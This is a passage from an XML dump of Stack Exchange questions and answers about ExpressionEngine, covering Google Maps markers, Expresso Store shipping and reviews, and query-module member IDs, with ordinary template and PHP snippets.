  <row Id="1274" PostTypeId="2" ParentId="1272" CreationDate="2012-12-06T19:26:14.203" Score="5" Body="&lt;p&gt;I would say the easiest thing to do would be to repurpose use of one of the existing fields, unless you are already using all of them. Comments can capture: name, email, url, location, and comment. I'm excluding creation and edit dates, as well as entry_id, ip_address, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you are not using 'location' then use it and re-label it 'subject'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course a number of sites, bypass EE's built in commenting system and use Disqus or Facebook.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-06T19:26:14.203" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1275" PostTypeId="2" ParentId="1269" CreationDate="2012-12-06T19:26:46.883" Score="0" Body="&lt;p&gt;I'll shed a little light on showing all markers. I've done something pretty similar to this, but I was using Google Maps API v2 and EE1, but fundamentally should be the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to do this is to map all the markers to a XML template so Google can read and plot the markers. Create new xml template in EE and add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;markers&amp;gt;&#xA;{exp:channel:entries channel=&quot;locations&quot; disable=&quot;trackbacks|comments|pagination|member_data&quot; status=&quot;Open&quot;}&#xA;&amp;lt;marker lat=&quot;{google_map}{latitude}&quot; lng=&quot;{longitude}{/google_map}&quot; label=&quot;{title}&quot; &amp;gt;&#xA;&amp;lt;infowindow&amp;gt;&amp;lt;![CDATA[  &amp;lt;div class=&quot;bubble&quot;&amp;gt; _whatever_ &amp;lt;/div&amp;gt; ]]&amp;gt;&amp;lt;/infowindow&amp;gt;&#xA;&amp;lt;/marker&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/markers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, create a new template that will display the map, read the xml file and plot the markers. Be sure to update the URL to the XML file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;map&quot; style=&quot;height: 350px&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;noscript&amp;gt;&#xA;    &amp;lt;b&amp;gt;JavaScript must be enabled in order for you to use Google Maps.&amp;lt;/b&amp;gt; &#xA;        However, it seems JavaScript is either disabled or not supported by your browser. &#xA;        To view Google Maps, enable JavaScript by changing your browser options, and then &#xA;        try again.&#xA;&amp;lt;/noscript&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;if (GBrowserIsCompatible()) {&#xA;    // A function to create the marker and set up the event window&#xA;    function createMarker(point,name,html) {&#xA;    var marker = new GMarker(point);&#xA;    GEvent.addListener(marker, &quot;click&quot;, function() {&#xA;        marker.openInfoWindowHtml(html);&#xA;    });&#xA;&#xA;    // create the map&#xA;    var map = new GMap2(document.getElementById(&quot;map&quot;));&#xA;    //map.addControl(new GLargeMapControl());&#xA;    //map.addControl(new GMapTypeControl());&#xA;    map.setCenter(new GLatLng(39.962598,-76.727745), 10);&#xA;    map.setUIToDefault();&#xA;&#xA;    // Read the data from example.xml&#xA;    GDownloadUrl(&quot;http://domain.com/path/to/xml&quot;, function(doc) {&#xA;        var xmlDoc = GXml.parse(doc);&#xA;        var markers = xmlDoc.documentElement.getElementsByTagName(&quot;marker&quot;);&#xA;&#xA;        for (var i = 0; i &amp;lt; markers.length; i++) {&#xA;            // obtain the attribues of each marker&#xA;            var html = GXml.value(markers[i].getElementsByTagName(&quot;infowindow&quot;)[0]);&#xA;            var lat = parseFloat(markers[i].getAttribute(&quot;lat&quot;));&#xA;            var lng = parseFloat(markers[i].getAttribute(&quot;lng&quot;));&#xA;            var point = new GLatLng(lat,lng);&#xA;            var label = markers[i].getAttribute(&quot;label&quot;);&#xA;&#xA;            // create the marker&#xA;            var marker = createMarker(point,label,html);&#xA;            map.addOverlay(marker);&#xA;        }&#xA;    });&#xA;} else {&#xA;    alert(&quot;Sorry, the Google Maps API is not compatible with this browser&quot;);&#xA;}&#xA;//]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, this is specific to Maps API v2, but with a little tweaking it should come to life.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-06T19:26:46.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1276" PostTypeId="2" ParentId="1272" CreationDate="2012-12-06T19:38:42.603" Score="4" Body="&lt;p&gt;I would check out the &lt;a href=&quot;http://www.solspace.com/software/detail/rating/&quot; rel=&quot;nofollow&quot;&gt;Rating Module&lt;/a&gt; which offers &quot;custom fields&quot; for comments/reviews.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited to note: There is also &lt;a href=&quot;http://www.devdemon.com/channel_ratings/&quot; rel=&quot;nofollow&quot;&gt;DevDemon's Channel Ratings&lt;/a&gt; which might also be worth looking into.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each one offers different capabilities and one might fit your needs better than the other.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-12-06T19:38:42.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1277" PostTypeId="1" CreationDate="2012-12-06T19:47:35.277" Score="3" ViewCount="86" Body="&lt;p&gt;I have a large database of products. None of these products have a weight and probably won't have a weight added in for future entries. I do however know what the weight of a shipment will be for all packages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to hard code the weight of the shipment which is passed on to UPS via the UPS shipping module included with Store?&lt;/p&gt;&#xA;" OwnerUserId="441" LastEditorUserId="104" LastEditDate="2012-12-09T08:16:34.427" LastActivityDate="2012-12-09T08:16:34.427" Title="Using Expresso store and trying to hardcode weight of UPS shipment" Tags="|add-on|expresso-store|ups-shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1278" PostTypeId="2" ParentId="1263" CreationDate="2012-12-06T21:24:21.377" Score="5" Body="&lt;p&gt;You should do this in an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot;&gt;Extension&lt;/a&gt; instead - an extension on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html#sessions-end&quot;&gt;sessions_end&lt;/a&gt; hook (which is called near the beginning of every request to the site, just after the Session library has finished loading). You could then create new Global Variables before any template parsing begins, and which would then be available to all of your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions are very simple to write - just a single PHP file. You can use the awesome &lt;a href=&quot;http://pkg.io/&quot;&gt;pkg.io&lt;/a&gt; tool to generate a skeleton for you, just select the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html#sessions-end&quot;&gt;sessions_end&lt;/a&gt; hook, and it will generate a class that you can fill in with your custom logic.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-12-06T21:24:21.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1279" PostTypeId="2" ParentId="1263" CreationDate="2012-12-07T00:15:27.510" Score="1" Body="&lt;p&gt;If it is static for all users, I like the idea of setting it in the config.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are setting it differently depending on the user, I highly recommend just creating your own plugin or extension to accomplish the task. It is more efficient, and avoids many (not all) parsing order issues. Once you've done one or two, it's almost as easy as what you are already doing, and you can leave PHP processing off in your templates.&lt;/p&gt;&#xA;" OwnerUserId="277" LastActivityDate="2012-12-07T00:15:27.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1281" PostTypeId="1" CreationDate="2012-12-07T01:18:53.367" Score="-6" ViewCount="134" Body="&lt;p&gt;My only payment method is paypal, but some orders are getting submitted with no payment.  How is this possible that an order can be submitted with no payment?&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="150" LastEditDate="2012-12-07T03:59:54.773" LastActivityDate="2012-12-07T03:59:54.773" Title="Paid = NO but order submitted" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ClosedDate="2012-12-12T12:33:09.647" ContentLicense="CC BY-SA 3.0" />
  <row Id="1282" PostTypeId="2" ParentId="1281" CreationDate="2012-12-07T01:49:11.553" Score="2" Body="&lt;p&gt;Orders can be submitted without being paid but they will show up incomplete. This allows people to come back and pay for an order at a late date (if there card fails or similar). This also allows for certain situations where you need to authorize only and then capture payments after the order has shipped.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-07T01:49:11.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1283" PostTypeId="2" ParentId="1250" CreationDate="2012-12-07T01:55:16.537" Score="4" Body="&lt;p&gt;The mapping in Settings &gt;&gt; Order Fields &gt;&gt; order_custom1 would be more for you then the error messages. For example you might have Gender in your template you would want to have something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:order_custom1}&#xA;{if error:order_custom1}Whoa you need to select Male or Female{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-07T01:55:16.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1284" PostTypeId="2" ParentId="1251" CreationDate="2012-12-07T04:11:15.413" Score="2" Body="&lt;p&gt;There's currently no way to change the reports available in the back-end. That said, all of the order information is available to you using the &lt;code&gt;{exp:store:orders}&lt;/code&gt; tag, so you are free to create any reports you need on the front end. Alternatively, you could create your own simple CP module and pull order details directly from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're open to suggestions for how to improve this. Feel free to email &lt;code&gt;support@exp-resso.com&lt;/code&gt; if you want to discuss ways to let users generate their own reports (or what you need to display which isn't covered by the built in reports).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-07T04:11:15.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1285" PostTypeId="2" ParentId="1277" CreationDate="2012-12-07T04:18:25.153" Score="3" Body="&lt;p&gt;You could simply hard code this in the shipping plugin. You need to remember not to replace this file when you upgrade Store though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;code&gt;store/libraries/store_shipping/store_shipping_ups.php&lt;/code&gt;, and around line 135 you will find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// order weight must not be zero&#xA;if ((float)$rating_request-&amp;gt;Shipment-&amp;gt;Package[$i]-&amp;gt;PackageWeight-&amp;gt;Weight &amp;lt;= 0)&#xA;{&#xA;    $rating_request-&amp;gt;Shipment-&amp;gt;Package[$i]-&amp;gt;PackageWeight-&amp;gt;Weight = '0.1';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this line directly after it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// force weight to 50 lb&#xA;$rating_request-&amp;gt;Shipment-&amp;gt;Package[$i]-&amp;gt;PackageWeight-&amp;gt;Weight = 50;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-07T04:18:25.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1286" PostTypeId="2" ParentId="1269" CreationDate="2012-12-07T04:24:02.980" Score="4" Body="&lt;p&gt;Objective's Google Maps does take decimal longitude and latitude, so you should be able to import than easily from MX Maps (which I'm sure uses similar). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how you would show a map with multiple items. &lt;a href=&quot;https://objectivehtml.com/google-maps/examples&quot; rel=&quot;nofollow&quot;&gt;PS the examples are pretty good here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map&quot; style=&quot;width:290px;height:250px;border: 5px solid #f1f1f1;&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;dogwalks&quot;}&#xA;    {exp:gmap:marker id=&quot;map&quot; latitude=&quot;{cf_general_latitude}&quot; longitude=&quot;{cf_general_longitude}&quot; open_windows=&quot;false&quot; geocode=&quot;false&quot; zoom=&quot;3&quot;}&#xA;        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;a href=&quot;{title_permalink='dogwalks/entry'}&quot;&amp;gt;View walk&amp;lt;/a&amp;gt;&#xA;    {/exp:gmap:marker}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="349" LastEditorUserId="349" LastEditDate="2012-12-07T06:50:51.563" LastActivityDate="2012-12-07T06:50:51.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1287" PostTypeId="2" ParentId="1269" CreationDate="2012-12-07T04:36:37.377" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I export the data (long/lat) from the MX google maps field, to another add-on (Objective HTMLs).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can't really convert the data exactly, but as long as the lat/lng values are stored in individual channel fields in each entry you are do it. The one thing MX Google Maps does that my add-on doesn't do currently is searching entries with multiple locations (without lat/lng fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, MX Google Maps stores an index of these coordinates. My add-on was never structured this way. However, this capability will likely come in some form in the future. For now though, simply structuring your data for 1 marker per entry will work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;https://objectivehtml.com/google-maps/examples/search&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/examples/search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I display all entries on a single map, with links through to the single entry.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is relatively easy. You can use the &lt;code&gt;exp:gmap:marker&lt;/code&gt; tag or the fieldtype tag, whichever you use to setup your entries. Basically use the marker tag if you don't use the FT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is using the &lt;code&gt;exp:gmap:marker&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;&#xA;    {exp:gmap:marker id=&quot;map&quot; latitude=&quot;{your_lat_field}&quot; longitude=&quot;{your_lng_field&quot; geocode=&quot;false&quot;}&#xA;        &amp;lt;a href=&quot;/some/path/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    {/exp:gmap:marker} &#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or here is how to use the fieldtype tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;&#xA;    {your_map_field id=&quot;map&quot;}&#xA;        &amp;lt;a href=&quot;/some/path/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    {/your_map_field} &#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additional Links&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps/documentation/tag/marker&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/documentation/tag/marker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps/examples/markers-from-channel-data&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/examples/markers-from-channel-data&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-07T04:36:37.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1288" PostTypeId="2" ParentId="1161" CreationDate="2012-12-07T09:07:22.297" Score="1" Body="&lt;p&gt;As MediaGirl mentioned in the comments, you should look at your debugging output. There is nothing about CartThrob itself (or loading 100 products) that should cause the slowness that you describe. The debugging output will give you more info though. It's possible that it's not even CartThrob which is the core cause of your problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to try using your Chrome / Firefox developer tools to see if there is anything funky going on with loading resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you need to post more information. For example, does everything load fine when you only have a handful of products that you are working with?&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-12-07T09:07:22.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1289" PostTypeId="1" AcceptedAnswerId="1293" CreationDate="2012-12-07T09:53:22.043" Score="7" ViewCount="1306" Body="&lt;p&gt;I have a query that I need to do that involves using the logged in member ID to limit the results.  The following does not work, because the {member_id} variable is not parsed early enough.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT ct.title AS title&#xA;            FROM exp_channel_titles AS ct&#xA;            WHERE ct.member_id = {member_id};&quot;&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to pass {member_id} as an embed as well, but it outputs the actual curly braces again and does not work either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;members/.favorite-query&quot; member_id=&quot;{member_id}&quot;}&#xA;&#xA;{exp:query sql=&quot;SELECT ct.title AS title&#xA;            FROM exp_channel_titles AS ct&#xA;            WHERE ct.member_id = {embed:member_id};&quot;&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then tried to create a global variable using the session_end hook.  If I hard code the global variable, the query works, but it turns out that the $this-&gt;EE-&gt;session array is not available yet when using the session end hook, so I cannot use that method dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a thread on this topic here:&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/168569/#804745&quot;&gt;http://ellislab.com/forums/viewthread/168569/#804745&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried creating a member_id value using a module tag, but again, the parse order is against me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I overlooking any other options available here?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2012-12-07T11:31:24.583" Title="How can I use the current logged in member ID in a custom query using the query module?" Tags="|members|query|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1290" PostTypeId="2" ParentId="1289" CreationDate="2012-12-07T10:45:17.053" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot;&gt;Mo' Variables&lt;/a&gt; adds early parsed member variables. Once you've installed that the following query should work (you want to use &lt;code&gt;author_id&lt;/code&gt; for the where condition, not &lt;code&gt;member_id&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;    SELECT title&#xA;    FROM exp_channel_titles&#xA;    WHERE author_id = '{logged_in_member_id}'&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-07T10:45:17.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1291" PostTypeId="1" CreationDate="2012-12-07T11:27:08.157" Score="2" ViewCount="171" Body="&lt;p&gt;Is there a way to get Zoo Visitor members based on their category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see a category filter option in the &lt;code&gt;{exp:zoo_visitor:memberlist}&lt;/code&gt; - tag.&lt;br&gt;&#xA;Only a membergroup filter option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I take another approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried working with the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;zoo_visitor&quot; category_group=&quot;2&quot; category=&quot;14&quot; dynamic=&quot;no&quot;}  &#xA;    {title}  &#xA;    {exp:zoo_visitor:details}  &#xA;        {visitor:member_firstname} {visitor:member_lastname}  &#xA;    {/exp:zoo_visitor:details}  &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But nothing gets returned.&lt;/p&gt;&#xA;" OwnerUserId="419" LastEditorUserId="419" LastEditDate="2012-12-07T14:13:57.207" LastActivityDate="2012-12-08T19:10:27.830" Title="Get Zoo Visitor members based on category?" Tags="|categories|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1292" PostTypeId="1" AcceptedAnswerId="1297" CreationDate="2012-12-07T11:28:28.333" Score="1" ViewCount="49" Body="&lt;p&gt;I am using the Structure plugin and would like to prevent certain pages from being moved/deleted by certain user groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to define this with either structure or ExpressionEngine itself?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-07T12:23:17.870" Title="How to prevent specific pages from being moved/deleted within Structure?" Tags="|ee2|structure|users|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1293" PostTypeId="2" ParentId="1289" CreationDate="2012-12-07T11:31:24.583" Score="8" Body="&lt;p&gt;You can use the &lt;code&gt;{exp:member:custom_profile_data}&lt;/code&gt; tag to access the member's profile information. By default it will use the currently logged-in member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#custom-profile-data-tag&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#custom-profile-data-tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this is a module tag this should now parse the &lt;code&gt;{member_id}&lt;/code&gt; variable earlier than the &lt;code&gt;{exp:query}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}&#xA;&#xA;    {exp:query &#xA;        sql=&quot;SELECT ct.title AS title&#xA;        FROM exp_channel_titles AS ct&#xA;        WHERE ct.author_id = '{member_id}'&quot;&#xA;    }&#xA;    &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;    {/exp:query}&#xA;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="253" LastActivityDate="2012-12-07T11:31:24.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1294" PostTypeId="1" CreationDate="2012-12-07T11:32:34.517" Score="4" ViewCount="151" Body="&lt;p&gt;Expesso Store&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking to add a ratings / reviews facility for each product in the Store.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone recommend an EE Add-on that would be suitable &amp;amp; would 'play nicely' with Expresso Store?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="418" LastActivityDate="2012-12-07T11:41:41.270" Title="Expesso Store - ratings / reviews add-on?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1296" PostTypeId="2" ParentId="1294" CreationDate="2012-12-07T11:41:41.270" Score="5" Body="&lt;p&gt;Since Store uses channel entries to store product details, you can use any EE rating/review modules with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the more popular options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/rating/&quot;&gt;Solspace Rating&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devdemon.com/channel_ratings/&quot;&gt;DevDemon Channel Ratings&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/favorites/&quot;&gt;Solspace Favorites&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-07T11:41:41.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1297" PostTypeId="2" ParentId="1292" CreationDate="2012-12-07T12:23:17.870" Score="2" Body="&lt;p&gt;If you go into the Structure module and click 'Module Settings' at top right, you can set permissions based on member group - it will allow you to set permissions for moving or deleting pages, but it's across board rather than allowing you to choose which pages specifically.&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2012-12-07T12:23:17.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1299" PostTypeId="1" AcceptedAnswerId="1336" CreationDate="2012-12-07T12:42:20.500" Score="6" ViewCount="154" Body="&lt;p&gt;In shipping methods, is it possible to setup zones? For example rather that setting up a separate method for ever country in Europe, can I create a single shipping method for Europe and add in the European countries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks as always!&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="150" LastEditDate="2012-12-08T00:06:38.960" LastActivityDate="2012-12-08T00:06:38.960" Title="Store: Can I create shipping zones?" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1300" PostTypeId="1" AcceptedAnswerId="1306" CreationDate="2012-12-07T13:01:42.947" Score="4" ViewCount="209" Body="&lt;p&gt;I have a simple safecracker form that allows guests to submit entries to my site. It works fine until I include Pixel and Tonic's &lt;a href=&quot;http://pixelandtonic.com/assets&quot; rel=&quot;noreferrer&quot;&gt;Assets module&lt;/a&gt;, upon which point, when the browser attempts to load the page (even before submission) - I get an error in chrome stating &quot;script on the page used too much memory&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is essentially all i'm doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;inspirations&quot; return=&quot;site/inspiration_submitted&quot;}&#xA;    {field:inspiration_image}&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone able to successfully get Safecracker to work with Assets? I'm using the latest versions of both as of today's date, along with jquery 1.8.3.&lt;/p&gt;&#xA;" OwnerUserId="461" LastEditorUserId="55" LastEditDate="2012-12-07T13:08:01.837" LastActivityDate="2012-12-07T13:53:02.613" Title="Assets file fieldtype does not work in Safecracker (script uses too much memory)" Tags="|safecracker|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1301" PostTypeId="1" AcceptedAnswerId="1308" CreationDate="2012-12-07T13:25:21.293" Score="3" ViewCount="100" Body="&lt;p&gt;I am using the img resizer on a bunch of sites and I had a server upgrade and since then all images will not resize.  I think it is connected to a php plugin but am not sure which one I need to enable on my server&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="15" LastEditDate="2012-12-07T14:20:53.850" LastActivityDate="2012-12-07T15:38:03.253" Title="Lumis IMG Resizer" Tags="|add-on|image|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1302" PostTypeId="1" AcceptedAnswerId="1305" CreationDate="2012-12-07T13:35:10.343" Score="6" ViewCount="329" Body="&lt;p&gt;As the admin of my site, I currently get notified when someone submits an entry via safecracker, but is there a way to specify which other emails or users get notified on submission?&lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2012-12-07T15:36:54.457" Title="safecracker - how to specify who gets notified on form submission" Tags="|safecracker|forms|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1304" PostTypeId="1" CreationDate="2012-12-07T13:43:54.227" Score="3" ViewCount="330" Body="&lt;p&gt;anyone ever run into an issue with the simple search form where it won't render the excerpt or the full text?  I'm using the simple search form from the search module (EE module, not a 3rd party) ... I'm getting results with the title of pages but nothing more.&lt;/p&gt;&#xA;" OwnerUserId="560" LastActivityDate="2012-12-07T14:16:11.133" Title="Search not rendering excerpt (or full text)" Tags="|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1305" PostTypeId="2" ParentId="1302" CreationDate="2012-12-07T13:47:41.027" Score="7" Body="&lt;p&gt;The default functionality using the channel preferences is not very informative for users. Clients almost always complained when I used it. I highly suggest you checkout Postmaster. &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There quite a few add-ons to add additional email functionality to EE but none come close to the robust feature set of Postmaster. You can use any email service to send any array of emails at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster supports things like re-occurring emails, custom email messages made up of other EE tags, post-dated emails, and so much more. It's really the definitive solution for using ExpressionEngine to programmatically send email at really anytime you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other add-ons that have similar functionality are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-notify-control&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/safecracker-emailer&quot; 